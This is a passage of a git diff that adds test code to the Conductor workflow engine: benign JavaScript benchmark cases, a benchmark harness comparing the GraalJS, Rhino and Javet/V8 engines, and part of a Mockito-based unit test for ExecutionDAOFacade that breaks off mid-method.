    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor; + +import java.util.HashSet; +import java.util.Set; +import java.util.stream.Collectors; + +import jakarta.validation.ConstraintViolation; + +public class TestUtils { + + public static Set getConstraintViolationMessages( + Set> constraintViolations) { + Set messages = new HashSet<>(constraintViolations.size()); + messages.addAll( + constraintViolations.stream() + .map(ConstraintViolation::getMessage) + .collect(Collectors.toList())); + return messages; + } +} diff --git a/core/src/test/java/com/netflix/conductor/benchmark/BenchmarkScripts.java b/core/src/test/java/com/netflix/conductor/benchmark/BenchmarkScripts.java new file mode 100644 index 0000000..4ca2d15 --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/benchmark/BenchmarkScripts.java @@ -0,0 +1,323 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.benchmark; + +import java.util.ArrayList; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; + +/** + * Scripts and inputs used by {@link ScriptEngineBenchmark}. All scripts use ES5/ES6 syntax that + * works on Rhino, GraalJS, and V8 without modification. No async/await, no optional chaining, no + * nullish coalescing. + */ +final class BenchmarkScripts { + + private BenchmarkScripts() {} + + static final List CASES = new ArrayList<>(); + + /** ~80-line aggregation pipeline used by cases 10 and 11. Declared before static init. */ + private static final String COMPLEX_ORDERS_SCRIPT = buildComplexOrdersScript(); + + static { + // 1. Trivial boolean expression + CASES.add(new Case("01_trivial_boolean", "$.value > 0", smallNumericInput())); + + // 2. Simple arithmetic on three fields + CASES.add(new Case("02_simple_arith", "($.a + $.b) * $.c - $.d / 2", smallNumericInput())); + + // 3. Deep nested property access + CASES.add( + new Case( + "03_nested_property_access", + "$.user.profile.address.city + ', ' + $.user.profile.address.country", + userInput())); + + // 4. Conditional returning a small object + CASES.add( + new Case( + "04_conditional_object_return", + "(function() {\n" + + " if ($.value > 100) {\n" + + " return { tier: 'high', score: $.value * 2 };\n" + + " } else if ($.value > 10) {\n" + + " return { tier: 'mid', score: $.value };\n" + + " } else {\n" + + " return { tier: 'low', score: 0 };\n" + + " }\n" + + "})()", + smallNumericInput())); + + // 5. Array filter + count over 50 items + CASES.add( + new Case( + "05_array_filter_count_50", + "$.items.filter(function(i) { return i.active && i.value > 50; }).length", + itemsInput(50))); + + // 6. Array map over 50 items + CASES.add( + new Case( + "06_array_map_50", + "$.items.map(function(i) { return { id: i.id, doubled: i.value * 2, label: i.name + '-x' }; })", + itemsInput(50))); + + // 7. Array reduce sum over 1000 items + CASES.add( + new Case( + "07_array_reduce_sum_1000", + "$.items.reduce(function(acc, i) { return acc + (i.active ? i.value : 0); }, 0)", + itemsInput(1000))); + + // 8. String manipulation + CASES.add( + new Case( + "08_string_manipulation", + "(function() {\n" + + " var s = $.user.firstName + ' ' + $.user.lastName;\n" + + " var upper = s.toUpperCase();\n" + + " var parts = upper.split(' ');\n" + + " return parts[0].slice(0, 3) + '_' + parts[1].slice(0, 3);\n" + + "})()", + userInput())); + + // 9. Nested loop / for-in aggregation + CASES.add( + new Case( + "09_nested_loop_aggregation", + "(function() {\n" + + " var result = {};\n" + + " for (var i = 0; i < $.items.length; i++) {\n" + + " var it = $.items[i];\n" + + " if (!result[it.category]) {\n" + + " result[it.category] = { count: 0, sum: 0 };\n" + + " }\n" + + " result[it.category].count++;\n" + + " result[it.category].sum += it.value;\n" + + " }\n" + + " return result;\n" + + "})()", + itemsInput(500))); + + // 10. Complex pipeline (~80 lines) processing 500 orders + CASES.add( + new Case( + "10_complex_orders_pipeline_500", COMPLEX_ORDERS_SCRIPT, ordersInput(500))); + + // 11. Same complex pipeline but on 5000 orders (stress test) + CASES.add( + new Case( + "11_complex_orders_pipeline_5000", + COMPLEX_ORDERS_SCRIPT, + ordersInput(5000))); + + // 12. JSON-like deep transform (immutability-friendly shape) + CASES.add( + new Case( + "12_deep_transform", + "(function() {\n" + + " var out = [];\n" + + " for (var i = 0; i < $.items.length; i++) {\n" + + " var it = $.items[i];\n" + + " out.push({\n" + + " id: it.id,\n" + + " name: it.name.toUpperCase(),\n" + + " meta: { active: it.active, score: it.value * (it.active ? 1.1 : 0.5) },\n" + + " tags: it.tags.filter(function(t) { return t.length > 2; })\n" + + " });\n" + + " }\n" + + " return out;\n" + + "})()", + itemsInput(200))); + } + + private static String buildComplexOrdersScript() { + return "(function() {\n" + + " var orders = $.orders;\n" + + " var summary = {\n" + + " total: 0,\n" + + " count: 0,\n" + + " byCategory: {},\n" + + " byCustomer: {},\n" + + " bySource: {},\n" + + " flaggedOrders: [],\n" + + " avgOrder: 0,\n" + + " maxOrder: 0,\n" + + " minOrder: Number.MAX_VALUE\n" + + " };\n" + + " for (var i = 0; i < orders.length; i++) {\n" + + " var o = orders[i];\n" + + " var amount = 0;\n" + + " for (var j = 0; j < o.lineItems.length; j++) {\n" + + " var li = o.lineItems[j];\n" + + " amount += li.price * li.qty * (1 - (li.discount || 0));\n" + + " }\n" + + " o.computedAmount = amount;\n" + + " summary.total += amount;\n" + + " summary.count++;\n" + + " if (amount > summary.maxOrder) summary.maxOrder = amount;\n" + + " if (amount < summary.minOrder) summary.minOrder = amount;\n" + + " if (!summary.byCategory[o.category]) {\n" + + " summary.byCategory[o.category] = { count: 0, sum: 0, items: 0 };\n" + + " }\n" + + " var cat = summary.byCategory[o.category];\n" + + " cat.count++;\n" + + " cat.sum += amount;\n" + + " cat.items += o.lineItems.length;\n" + + " if (!summary.byCustomer[o.customerId]) {\n" + + " summary.byCustomer[o.customerId] = { count: 0, sum: 0, orders: [] };\n" + + " }\n" + + " var cust = summary.byCustomer[o.customerId];\n" + + " cust.count++;\n" + + " cust.sum += amount;\n" + + " cust.orders.push(o.id);\n" + + " if (!summary.bySource[o.source]) {\n" + + " summary.bySource[o.source] = 0;\n" + + " }\n" + + " summary.bySource[o.source]++;\n" + + " if (amount > 1000 || (o.flags && o.flags.indexOf('priority') >= 0)) {\n" + + " summary.flaggedOrders.push({\n" + + " id: o.id,\n" + + " amount: amount,\n" + + " category: o.category,\n" + + " customerId: o.customerId,\n" + + " reasons: amount > 1000 ? ['high_value'] : ['priority']\n" + + " });\n" + + " }\n" + + " }\n" + + " summary.avgOrder = summary.count > 0 ? summary.total / summary.count : 0;\n" + + " var categories = [];\n" + + " for (var k in summary.byCategory) {\n" + + " var c = summary.byCategory[k];\n" + + " c.avg = c.sum / c.count;\n" + + " categories.push({ name: k, avg: c.avg, sum: c.sum, count: c.count });\n" + + " }\n" + + " categories.sort(function(a, b) { return b.sum - a.sum; });\n" + + " summary.topCategories = categories.slice(0, 5);\n" + + " var customers = [];\n" + + " for (var ck in summary.byCustomer) {\n" + + " var cu = summary.byCustomer[ck];\n" + + " customers.push({ id: ck, sum: cu.sum, count: cu.count });\n" + + " }\n" + + " customers.sort(function(a, b) { return b.sum - a.sum; });\n" + + " summary.topCustomers = customers.slice(0, 10);\n" + + " return summary;\n" + + "})()"; + } + + // ---------- Input builders ---------- + + private static Map smallNumericInput() { + Map m = new LinkedHashMap<>(); + m.put("value", 42); + m.put("a", 10); + m.put("b", 20); + m.put("c", 30); + m.put("d", 8); + return m; + } + + private static Map userInput() { + Map address = new LinkedHashMap<>(); + address.put("street", "1 Market St"); + address.put("city", "San Francisco"); + address.put("country", "USA"); + address.put("zip", "94105"); + + Map profile = new LinkedHashMap<>(); + profile.put("age", 34); + profile.put("address", address); + profile.put("verified", true); + + Map user = new LinkedHashMap<>(); + user.put("firstName", "Jane"); + user.put("lastName", "Doe"); + user.put("profile", profile); + + Map input = new LinkedHashMap<>(); + input.put("user", user); + return input; + } + + private static Map itemsInput(int n) { + List> items = new ArrayList<>(n); + String[] categories = {"alpha", "beta", "gamma", "delta", "epsilon"}; + String[] tagPool = {"hot", "new", "sale", "x", "a", "exclusive", "limited", "fresh"}; + for (int i = 0; i < n; i++) { + Map item = new LinkedHashMap<>(); + item.put("id", "item-" + i); + item.put("name", "Product " + i); + item.put("category", categories[i % categories.length]); + item.put("value", (i * 7) % 200); + item.put("active", i % 3 != 0); + List tags = new ArrayList<>(3); + tags.add(tagPool[i % tagPool.length]); + tags.add(tagPool[(i + 2) % tagPool.length]); + tags.add(tagPool[(i + 5) % tagPool.length]); + item.put("tags", tags); + items.add(item); + } + Map input = new LinkedHashMap<>(); + input.put("items", items); + return input; + } + + private static Map ordersInput(int n) { + List> orders = new ArrayList<>(n); + String[] categories = {"electronics", "books", "clothing", "home", "sports", "toys"}; + String[] sources = {"web", "mobile", "in-store", "phone", "api"}; + String[] flagPool = {"priority", "wholesale", "gift", "fragile"}; + for (int i = 0; i < n; i++) { + Map order = new LinkedHashMap<>(); + order.put("id", "ord-" + i); + order.put("customerId", "cust-" + (i % 200)); + order.put("category", categories[i % categories.length]); + order.put("source", sources[i % sources.length]); + int lineCount = 1 + (i % 8); + List> lines = new ArrayList<>(lineCount); + for (int j = 0; j < lineCount; j++) { + Map line = new LinkedHashMap<>(); + line.put("sku", "sku-" + (i * 10 + j)); + line.put("price", 5.0 + ((i + j) % 100)); + line.put("qty", 1 + ((i + j) % 4)); + line.put("discount", ((i + j) % 5 == 0) ? 0.1 : 0.0); + lines.add(line); + } + order.put("lineItems", lines); + if (i % 10 == 0) { + List flags = new ArrayList<>(); + flags.add(flagPool[i % flagPool.length]); + order.put("flags", flags); + } + orders.add(order); + } + Map input = new LinkedHashMap<>(); + input.put("orders", orders); + return input; + } + + /** Benchmark case: one script + one input. */ + static final class Case { + final String name; + final String script; + final Map input; + + Case(String name, String script, Map input) { + this.name = name; + this.script = script; + this.input = input; + } + } +} diff --git a/core/src/test/java/com/netflix/conductor/benchmark/ScriptEngineBenchmark.java b/core/src/test/java/com/netflix/conductor/benchmark/ScriptEngineBenchmark.java new file mode 100644 index 0000000..36a2e1f --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/benchmark/ScriptEngineBenchmark.java @@ -0,0 +1,388 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.benchmark; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; +import java.util.Locale; +import java.util.Map; + +import com.netflix.conductor.benchmark.BenchmarkScripts.Case; + +/** + * Standalone benchmark comparing JS engines for Conductor's Inline-task workload: + * + *

      + *
    • GraalJS via {@link com.netflix.conductor.core.events.ScriptEvaluator} (interpreter mode on + * stock OpenJDK; this is what production runs today). + *
    • Mozilla Rhino 1.8.0 with optimization level 9 (compiles to JVM bytecode). + *
    • Javet 4.1.2 (JNI-bound V8) with proxy-based Java/JS interop. + *
    + * + *

    Run with: {@code ./gradlew :conductor-core:benchmarkScripts} + */ +public final class ScriptEngineBenchmark { + + private static final int WARMUP_ITERS = 5000; + private static final long WARMUP_TIME_CAP_NANOS = 5_000_000_000L; // 5s cap on warmup + private static final long MEASURE_TIME_NANOS = + 7_500_000_000L; // 7.5s measure per (case, engine) + private static final int MIN_MEASURE_ITERS = 250; + + public static void main(String[] args) throws Exception { + System.out.println("Conductor JS Engine Benchmark"); + System.out.println("=============================="); + System.out.printf( + "JVM: %s %s%n", + System.getProperty("java.vm.name"), System.getProperty("java.version")); + System.out.printf( + "OS: %s %s%n", System.getProperty("os.name"), System.getProperty("os.arch")); + System.out.printf( + "Warmup: %d iters; Measure: up to %.1fs or %d iters per case per engine%n%n", + WARMUP_ITERS, MEASURE_TIME_NANOS / 1e9, MIN_MEASURE_ITERS); + + List engines = new ArrayList<>(); + engines.add(new GraalJsDriver()); + engines.add(new RhinoDriver()); + try { + engines.add(new JavetDriver()); + } catch (Throwable t) { + System.out.println("WARNING: Javet driver unavailable on this host: " + t.getMessage()); + } + + // Header + StringBuilder header = new StringBuilder(); + header.append(String.format("%-38s", "case")); + for (EngineDriver e : engines) { + header.append(String.format("%18s", e.name() + " ns/op")); + header.append(String.format("%14s", e.name() + " ops/s")); + } + System.out.println(header); + System.out.println(repeat('-', header.length())); + + List allResults = new ArrayList<>(); + for (Case c : BenchmarkScripts.CASES) { + Result[] row = new Result[engines.size()]; + for (int i = 0; i < engines.size(); i++) { + row[i] = benchmark(engines.get(i), c); + } + allResults.add(row); + StringBuilder line = new StringBuilder(); + line.append(String.format("%-38s", c.name)); + for (Result r : row) { + if (r.error != null) { + line.append(String.format("%18s", "ERR")); + line.append(String.format("%14s", "-")); + } else { + line.append(String.format("%18s", formatNs(r.nanosPerOp))); + line.append(String.format("%14s", formatOps(r.opsPerSec))); + } + } + System.out.println(line); + } + + // Relative speedup vs GraalJS (column 0). + System.out.println(); + System.out.println("Relative speedup vs GraalJS (higher = faster)"); + StringBuilder relHeader = new StringBuilder(); + relHeader.append(String.format("%-38s", "case")); + for (EngineDriver e : engines) { + relHeader.append(String.format("%14s", e.name())); + } + System.out.println(relHeader); + System.out.println(repeat('-', relHeader.length())); + for (int i = 0; i < BenchmarkScripts.CASES.size(); i++) { + Case c = BenchmarkScripts.CASES.get(i); + Result[] row = allResults.get(i); + StringBuilder line = new StringBuilder(); + line.append(String.format("%-38s", c.name)); + double baseline = row[0].error == null ? row[0].nanosPerOp : Double.NaN; + for (Result r : row) { + if (r.error != null || Double.isNaN(baseline)) { + line.append(String.format("%14s", "-")); + } else { + double speedup = baseline / r.nanosPerOp; + line.append( + String.format("%14s", String.format(Locale.ROOT, "%.2fx", speedup))); + } + } + System.out.println(line); + } + + // Print any errors collected + boolean anyError = false; + for (Result[] row : allResults) { + for (Result r : row) { + if (r.error != null) { + if (!anyError) { + System.out.println(); + System.out.println("Errors:"); + anyError = true; + } + System.out.println(" " + r.engine + " / " + r.caseName + ": " + r.error); + } + } + } + + for (EngineDriver e : engines) { + try { + e.close(); + } catch (Exception ignored) { + // best effort + } + } + } + + private static Result benchmark(EngineDriver engine, Case c) { + try { + engine.prepare(c.script); + // Warmup: bounded by both iteration count and wall-clock cap so heavy scripts + // (case 11 at hundreds of ms/op) don't take minutes per (case, engine). + long warmupStart = System.nanoTime(); + long warmupDeadline = warmupStart + WARMUP_TIME_CAP_NANOS; + for (int i = 0; i < WARMUP_ITERS; i++) { + engine.eval(c.input); + if (i >= 50 && System.nanoTime() >= warmupDeadline) { + break; + } + } + // Measure + long start = System.nanoTime(); + long deadline = start + MEASURE_TIME_NANOS; + int iters = 0; + while (true) { + engine.eval(c.input); + iters++; + if (iters >= MIN_MEASURE_ITERS && System.nanoTime() >= deadline) { + break; + } + } + long elapsed = System.nanoTime() - start; + engine.cleanup(); + double nsPerOp = (double) elapsed / iters; + double opsPerSec = 1e9 / nsPerOp; + Result r = new Result(); + r.engine = engine.name(); + r.caseName = c.name; + r.iters = iters; + r.nanosPerOp = nsPerOp; + r.opsPerSec = opsPerSec; + return r; + } catch (Throwable t) { + Result r = new Result(); + r.engine = engine.name(); + r.caseName = c.name; + r.error = t.getClass().getSimpleName() + ": " + t.getMessage(); + try { + engine.cleanup(); + } catch (Exception ignored) { + // best effort + } + return r; + } + } + + private static String formatNs(double ns) { + if (ns < 1_000) return String.format(Locale.ROOT, "%.0f ns", ns); + if (ns < 1_000_000) return String.format(Locale.ROOT, "%.2f us", ns / 1_000.0); + return String.format(Locale.ROOT, "%.2f ms", ns / 1_000_000.0); + } + + private static String formatOps(double ops) { + if (ops >= 1_000_000) return String.format(Locale.ROOT, "%.2fM", ops / 1_000_000.0); + if (ops >= 1_000) return String.format(Locale.ROOT, "%.1fk", ops / 1_000.0); + return String.format(Locale.ROOT, "%.0f", ops); + } + + private static String repeat(char c, int n) { + return String.join("", Collections.nCopies(n, String.valueOf(c))); + } + + static final class Result { + String engine; + String caseName; + int iters; + double nanosPerOp; + double opsPerSec; + String error; + } + + /** Common interface for an engine + a prepared (compiled, where possible) script. */ + interface EngineDriver extends AutoCloseable { + String name(); + + void prepare(String script) throws Exception; + + Object eval(Map input) throws Exception; + + void cleanup() throws Exception; + + @Override + default void close() throws Exception {} + } + + // ---------- GraalJS via ScriptEvaluator (production path) ---------- + static final class GraalJsDriver implements EngineDriver { + private String script; + + @Override + public String name() { + return "GraalJS"; + } + + @Override + public void prepare(String script) { + this.script = script; + } + + @Override + public Object eval(Map input) { + // Mirror the production call site (JavascriptEvaluator): + // deepCopy(input) -> ScriptEvaluator.eval() + // ScriptEvaluator already pools Contexts and caches compiled Sources. + Object copy = com.netflix.conductor.core.events.ScriptEvaluator.deepCopy(input); + return com.netflix.conductor.core.events.ScriptEvaluator.eval(script, copy); + } + + @Override + public void cleanup() {} + } + + // ---------- Rhino ---------- + static final class RhinoDriver implements EngineDriver { + private final ThreadLocal contextHolder = + new ThreadLocal<>(); + private org.mozilla.javascript.Script compiled; + + @Override + public String name() { + return "Rhino"; + } + + @Override + public void prepare(String script) { + org.mozilla.javascript.Context cx = org.mozilla.javascript.Context.enter(); + try { + cx.setLanguageVersion(org.mozilla.javascript.Context.VERSION_ES6); + cx.setOptimizationLevel(9); // maximum optimization (compiles to JVM bytecode) + compiled = cx.compileString(script, "inline", 1, null); + } finally { + org.mozilla.javascript.Context.exit(); + } + } + + @Override + public Object eval(Map input) { + org.mozilla.javascript.Context cx = contextHolder.get(); + if (cx == null) { + cx = org.mozilla.javascript.Context.enter(); + cx.setLanguageVersion(org.mozilla.javascript.Context.VERSION_ES6); + cx.setOptimizationLevel(9); + contextHolder.set(cx); + } + Object inputCopy = com.netflix.conductor.core.events.ScriptEvaluator.deepCopy(input); + org.mozilla.javascript.Scriptable scope = cx.initStandardObjects(); + // Deep-convert Java Map/List to Rhino native NativeObject/NativeArray so JS + // property syntax ($.foo.bar) and array methods (.filter/.map/.reduce) work. + // Wrapping via Context.javaToJS yields NativeJavaObject which exposes only Java + // methods, not JS properties — production Rhino integrations must do this conversion. + Object jsInput = javaToRhino(cx, scope, inputCopy); + org.mozilla.javascript.ScriptableObject.putProperty(scope, "$", jsInput); + Object result = compiled.exec(cx, scope); + return org.mozilla.javascript.Context.jsToJava(result, Object.class); + } + + @SuppressWarnings("unchecked") + private static Object javaToRhino( + org.mozilla.javascript.Context cx, + org.mozilla.javascript.Scriptable scope, + Object value) { + if (value == null) { + return null; + } + if (value instanceof Map) { + org.mozilla.javascript.Scriptable obj = cx.newObject(scope); + for (Map.Entry e : ((Map) value).entrySet()) { + org.mozilla.javascript.ScriptableObject.putProperty( + obj, String.valueOf(e.getKey()), javaToRhino(cx, scope, e.getValue())); + } + return obj; + } + if (value instanceof List) { + List list = (List) value; + Object[] arr = new Object[list.size()]; + for (int i = 0; i < list.size(); i++) { + arr[i] = javaToRhino(cx, scope, list.get(i)); + } + return cx.newArray(scope, arr); + } + // Primitives (Number/Boolean/String) and the like — Rhino handles directly. + return value; + } + + @Override + public void cleanup() { + org.mozilla.javascript.Context cx = contextHolder.get(); + if (cx != null) { + org.mozilla.javascript.Context.exit(); + contextHolder.remove(); + } + } + } + + // ---------- Javet (V8) ---------- + static final class JavetDriver implements EngineDriver { + private com.caoccao.javet.interop.V8Runtime v8; + private com.caoccao.javet.values.reference.V8Script compiled; + + @Override + public String name() { + return "Javet"; + } + + @Override + public void prepare(String script) throws Exception { + v8 = com.caoccao.javet.interop.V8Host.getV8Instance().createV8Runtime(); + // Use the default JavetObjectConverter (deep Java->V8 native conversion). The + // ProxyConverter lazy-wraps Java objects and forces a JNI callback for every + // property access from JS, which is catastrophic for scripts that iterate. + v8.setConverter(new com.caoccao.javet.interop.converters.JavetObjectConverter()); + compiled = v8.getExecutor(script).setResourceName("inline.js").compileV8Script(); + } + + @Override + public Object eval(Map input) throws Exception { + // Parity with production: deep-copy input first. Then JavetObjectConverter does a + // one-time deep conversion to V8-native objects on global.set("$", ...). + Object inputCopy = com.netflix.conductor.core.events.ScriptEvaluator.deepCopy(input); + try (com.caoccao.javet.values.reference.V8ValueObject global = v8.getGlobalObject()) { + global.set("$", inputCopy); + try (com.caoccao.javet.values.V8Value result = compiled.execute()) { + return v8.toObject(result); + } finally { + global.delete("$"); + } + } + } + + @Override + public void cleanup() {} + + @Override + public void close() throws Exception { + if (compiled != null) compiled.close(); + if (v8 != null) v8.close(); + } + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/dal/ExecutionDAOFacadeTest.java b/core/src/test/java/com/netflix/conductor/core/dal/ExecutionDAOFacadeTest.java new file mode 100644 index 0000000..7a36b2b --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/dal/ExecutionDAOFacadeTest.java @@ -0,0 +1,445 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.dal; + +import java.io.InputStream; +import java.time.Duration; +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; +import java.util.UUID; + +import org.apache.commons.io.IOUtils; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.common.config.TestObjectMapperConfiguration; +import com.netflix.conductor.common.metadata.events.EventExecution; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.common.run.Workflow; +import com.netflix.conductor.common.utils.ExternalPayloadStorage; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.core.exception.NotFoundException; +import com.netflix.conductor.core.exception.TerminateWorkflowException; +import com.netflix.conductor.core.execution.TestDeciderService; +import com.netflix.conductor.core.utils.ExternalPayloadStorageUtils; +import com.netflix.conductor.dao.*; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import com.fasterxml.jackson.databind.ObjectMapper; + +import static org.junit.Assert.*; +import static org.mockito.ArgumentMatchers.*; +import static org.mockito.Mockito.*; + +@ContextConfiguration(classes = {TestObjectMapperConfiguration.class}) +@RunWith(SpringRunner.class) +public class ExecutionDAOFacadeTest { + + private ExecutionDAO executionDAO; + private IndexDAO indexDAO; + private ExecutionDAOFacade executionDAOFacade; + private ExternalPayloadStorageUtils externalPayloadStorageUtils; + + @Autowired private ObjectMapper objectMapper; + + @Before + public void setUp() { + executionDAO = mock(ExecutionDAO.class); + QueueDAO queueDAO = mock(QueueDAO.class); + indexDAO = mock(IndexDAO.class); + externalPayloadStorageUtils = mock(ExternalPayloadStorageUtils.class); + RateLimitingDAO rateLimitingDao = mock(RateLimitingDAO.class); + ConcurrentExecutionLimitDAO concurrentExecutionLimitDAO = + mock(ConcurrentExecutionLimitDAO.class); + PollDataDAO pollDataDAO = mock(PollDataDAO.class); + ConductorProperties properties = mock(ConductorProperties.class); + when(properties.isEventExecutionIndexingEnabled()).thenReturn(true); + when(properties.isAsyncIndexingEnabled()).thenReturn(true); + when(properties.isTaskIndexingEnabled()).thenReturn(true); + executionDAOFacade = + new ExecutionDAOFacade( + executionDAO, + queueDAO, + indexDAO, + rateLimitingDao, + concurrentExecutionLimitDAO, + pollDataDAO, + objectMapper, + properties, + externalPayloadStorageUtils); + } + + @Test + public void testGetWorkflow() throws Exception { + when(executionDAO.getWorkflow(any(), anyBoolean())).thenReturn(new WorkflowModel()); + Workflow workflow = executionDAOFacade.getWorkflow("workflowId", true); + assertNotNull(workflow); + verify(indexDAO, never()).get(any(), any()); + } + + @Test + public void testGetWorkflowModel() throws Exception { + when(executionDAO.getWorkflow(any(), anyBoolean())).thenReturn(new WorkflowModel()); + WorkflowModel workflowModel = executionDAOFacade.getWorkflowModel("workflowId", true); + assertNotNull(workflowModel); + verify(indexDAO, never()).get(any(), any()); + + when(executionDAO.getWorkflow(any(), anyBoolean())).thenReturn(null); + InputStream stream = ExecutionDAOFacadeTest.class.getResourceAsStream("/test.json"); + byte[] bytes = IOUtils.toByteArray(stream); + String jsonString = new String(bytes); + when(indexDAO.get(any(), any())).thenReturn(jsonString); + workflowModel = executionDAOFacade.getWorkflowModel("wokflowId", true); + assertNotNull(workflowModel); + verify(indexDAO, times(1)).get(any(), any()); + } + + @Test + public void testGetWorkflowModelFromExecutionDAODoesNotFallbackToIndex() { + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId("workflowId"); + when(executionDAO.getWorkflow("workflowId", false)).thenReturn(workflow); + + WorkflowModel found = + executionDAOFacade.getWorkflowModelFromExecutionDAO("workflowId", false); + assertSame(workflow, found); + verify(indexDAO, never()).get(any(), any()); + } + + @Test(expected = NotFoundException.class) + public void testGetWorkflowModelFromExecutionDAODoesNotUseIndexOnMiss() { + when(executionDAO.getWorkflow("missingWorkflow", false)).thenReturn(null); + when(indexDAO.get(any(), any())).thenReturn("{\"workflowId\":\"missingWorkflow\"}"); + + try { + executionDAOFacade.getWorkflowModelFromExecutionDAO("missingWorkflow", false); + } finally { + verify(indexDAO, never()).get(any(), any()); + } + } + + @Test + public void testGetWorkflowsByCorrelationId() { + when(executionDAO.canSearchAcrossWorkflows()).thenReturn(true); + when(executionDAO.getWorkflowsByCorrelationId(any(), any(), anyBoolean())) + .thenReturn(Collections.singletonList(new WorkflowModel())); + List workflows = + executionDAOFacade.getWorkflowsByCorrelationId( + "workflowName", "correlationId", true); + + assertNotNull(workflows); + assertEquals(1, workflows.size()); + verify(indexDAO, never()) + .searchWorkflows(anyString(), anyString(), anyInt(), anyInt(), any()); + + when(executionDAO.canSearchAcrossWorkflows()).thenReturn(false); + List workflowIds = new ArrayList<>(); + workflowIds.add("workflowId"); + SearchResult searchResult = new SearchResult<>(); + searchResult.setResults(workflowIds); + when(indexDAO.searchWorkflows(anyString(), anyString(), anyInt(), anyInt(), any())) + .thenReturn(searchResult); + when(executionDAO.getWorkflow("workflowId", true)).thenReturn(new WorkflowModel()); + workflows = + executionDAOFacade.getWorkflowsByCorrelationId( + "workflowName", "correlationId", true); + assertNotNull(workflows); + assertEquals(1, workflows.size()); + } + + @Test + public void testRemoveWorkflow() { + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId("workflowId"); + workflow.setStatus(WorkflowModel.Status.COMPLETED); + + TaskModel task = new TaskModel(); + task.setTaskId("taskId"); + task.setStatus(TaskModel.Status.COMPLETED); + workflow.setTasks(Collections.singletonList(task)); + + when(executionDAO.getWorkflow(anyString(), anyBoolean())).thenReturn(workflow); + executionDAOFacade.removeWorkflow("workflowId", false); + verify(executionDAO, times(1)).removeWorkflow(anyString()); + verify(executionDAO, never()).removeTask(anyString()); + verify(indexDAO, never()).updateWorkflow(anyString(), any(), any()); + verify(indexDAO, never()).updateTask(anyString(), anyString(), any(), any()); + verify(indexDAO, times(1)).asyncRemoveWorkflow(anyString()); + verify(indexDAO, times(1)).asyncRemoveTask(anyString(), anyString()); + } + + @Test + public void testRemoveWorkflowContinuesOnIndexNotFound() { + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId("workflowId"); + workflow.setStatus(WorkflowModel.Status.COMPLETED); + + TaskModel task = new TaskModel(); + task.setTaskId("taskId"); + workflow.setTasks(Collections.singletonList(task)); + + when(executionDAO.getWorkflow(anyString(), anyBoolean())).thenReturn(workflow); + doThrow(new NotFoundException("missing workflow")) + .when(indexDAO) + .asyncRemoveWorkflow(anyString()); + + executionDAOFacade.removeWorkflow("workflowId", false); + + verify(executionDAO, times(1)).removeWorkflow(anyString()); + } + + @Test + public void testRemoveWorkflowContinuesOnTaskIndexNotFound() { + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId("workflowId"); + workflow.setStatus(WorkflowModel.Status.COMPLETED); + + TaskModel task = new TaskModel(); + task.setTaskId("taskId"); + workflow.setTasks(Collections.singletonList(task)); + + when(executionDAO.getWorkflow(anyString(), anyBoolean())).thenReturn(workflow); + doThrow(new NotFoundException("missing task")) + .when(indexDAO) + .asyncRemoveTask(anyString(), anyString()); + + executionDAOFacade.removeWorkflow("workflowId", false); + + verify(executionDAO, times(1)).removeWorkflow(anyString()); + } + + @Test + public void testArchiveWorkflow() throws Exception { + InputStream stream = TestDeciderService.class.getResourceAsStream("/completed.json"); + WorkflowModel workflow = objectMapper.readValue(stream, WorkflowModel.class); + + when(executionDAO.getWorkflow(anyString(), anyBoolean())).thenReturn(workflow); + executionDAOFacade.removeWorkflow("workflowId", true); + verify(executionDAO, times(1)).removeWorkflow(anyString()); + verify(executionDAO, never()).removeTask(anyString()); + verify(indexDAO, times(1)).updateWorkflow(anyString(), any(), any()); + verify(indexDAO, times(15)).updateTask(anyString(), anyString(), any(), any()); + verify(indexDAO, never()).removeWorkflow(anyString()); + verify(indexDAO, never()).removeTask(anyString(), anyString()); + } + + @Test + public void testArchiveWorkflowSkipsRemovalOnIndexFailure() throws Exception { + 